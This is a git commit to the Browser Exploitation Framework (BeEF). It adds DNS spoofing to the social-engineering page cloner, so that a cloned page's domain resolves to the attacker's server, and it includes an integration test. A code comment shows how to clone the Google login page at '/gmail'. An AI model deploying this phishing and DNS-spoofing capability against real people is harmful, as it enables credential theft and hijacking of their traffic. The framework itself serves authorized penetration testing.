Implemented DNS spoofer in social engineering extension.

The /api/seng/clone_page endpoint now accepts a boolean "dns_spoof"
key in the JSON request. This adds a DNS record pointing the
cloned webpage to the BeEF server.

Integration tests included.
This commit is contained in:
soh_cah_toa
2014-02-04 16:18:12 -05:00
parent 9d4ea6c224
commit a75a95b663
6 changed files with 121 additions and 16 deletions

View File

@@ -32,14 +32,6 @@ task :integration => ["install"] do
Rake::Task['beef_stop'].invoke
end
# TODO: Remove task before comitting
desc "Run DNS integration tests"
task :dns_rest do
Rake::Task['beef_start'].invoke
sh "cd test/integration; ruby -W0 ts_dns_rest.rb"
Rake::Task['beef_stop'].invoke
end
desc "Run integration unit tests"
task :unit => ["install"] do
sh "cd test/unit;ruby -W0 ts_unit.rb"

View File

@@ -20,10 +20,15 @@ module BeEF
'Expires' => '0'
end
#Example: curl -H "Content-Type: application/json; charset=UTF-8"
#-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=
#https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2", "mount":"/url"}'
#-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d json_body
# -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
#
# Example json_body:
# {
# "url": "https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/"
# "mount": "/gmail",
# "dns_spoof": true
# }
post '/clone_page' do
request.body.rewind
begin
@@ -31,6 +36,7 @@ module BeEF
uri = body["url"]
mount = body["mount"]
use_existing = body["use_existing"]
dns_spoof = body["dns_spoof"]
if uri != nil && mount != nil
if (uri =~ URI::regexp).nil? #invalid URI
@@ -44,7 +50,8 @@ module BeEF
end
web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance
success = web_cloner.clone_page(uri,mount,use_existing)
success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof)
if success
result = {
"success" => true,
@@ -118,4 +125,4 @@ module BeEF
end
end
end
end
end

View File

@@ -7,9 +7,9 @@ module BeEF
module Extension
module SocialEngineering
class WebCloner
require 'socket'
include Singleton
def initialize
@http_server = BeEF::Core::Server.instance
@config = BeEF::Core::Configuration.instance
@@ -17,7 +17,7 @@ module BeEF
@beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
end
def clone_page(url, mount, use_existing)
def clone_page(url, mount, use_existing, dns_spoof)
print_info "Cloning page at URL #{url}"
uri = URI(url)
output = uri.host
@@ -113,6 +113,18 @@ module BeEF
@http_server.mount("#{mount}", interceptor.new)
print_info "Mounting cloned page on URL [#{mount}]"
@http_server.remap
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
if dns_spoof
dns = BeEF::Extension::Dns::Server.instance
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
domain = url.gsub(%r{^http://}, '')
id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction|
transaction.respond!(ip.ip_address)
end
end
success = true
else
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."

View File

@@ -20,4 +20,5 @@ RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_DNS = "http://" + ATTACK_DOMAIN + ":3000/api/dns"
RESTAPI_SENG = "http://" + ATTACK_DOMAIN + ":3000/api/seng"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

View File

@@ -0,0 +1,91 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest_client'
require 'json'
require '../common/test_constants'
# @todo RESTful API for the social engineering extension lacks some serious test coverage.
class TC_SocialEngineeringRest < Test::Unit::TestCase
class << self
# Login to API before performing any tests
def startup
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
@@headers = {:content_type => :json, :accept => :json}
response = RestClient.post("#{RESTAPI_ADMIN}/login",
json,
@@headers)
result = JSON.parse(response.body)
@@token = result['token']
$root_dir = '../../'
$:.unshift($root_dir)
require 'core/loader'
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
BeEF::Core::Configuration.instance.load_extensions_config
@@config = BeEF::Core::Configuration.instance
end
def shutdown
$root_dir = nil
end
end
# Tests DNS spoofing of cloned webpages
def test_1_dns_spoof
url = 'http://beefproject.com'
mount = '/beefproject'
dns_spoof = true
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
json,
@@headers)
check_response(response)
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
domain = url.gsub(%r{^http://}, '')
regex = %r{
^#{domain}\.\t+
\d+\t+
IN\t+
A\t+
#{ip.ip_address}$
}x
# Send DNS request to server to verify that a new rule was added
dns_address = @@config.get('beef.extension.dns.address')
dns_port = @@config.get('beef.extension.dns.port')
dig_output = `dig @#{dns_address} -p #{dns_port} -t A #{domain}`
assert_match(regex, dig_output)
end
private
# Assertions for verifying a response from the RESTful API
def check_response(response)
assert_not_nil(response.body)
assert_equal(200, response.code)
result = JSON.parse(response.body)
assert(result['success'])
assert(result['mount'])
end
end

View File

@@ -17,6 +17,7 @@ require './tc_debug_modules' # RESTful API tests (as well as debug modules)
require './tc_login' # Basic log in and log out tests
require './tc_jools' # Basic tests for jools
require './tc_dns_rest' # Basic tests for DNS RESTful API interface
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
class TS_BeefIntegrationTests
def self.suite
@@ -27,6 +28,7 @@ class TS_BeefIntegrationTests
suite << TC_DebugModules.suite
suite << TC_Jools.suite
suite << TC_DnsRest.suite
suite << TC_SocialEngineeringRest.suite
return suite
end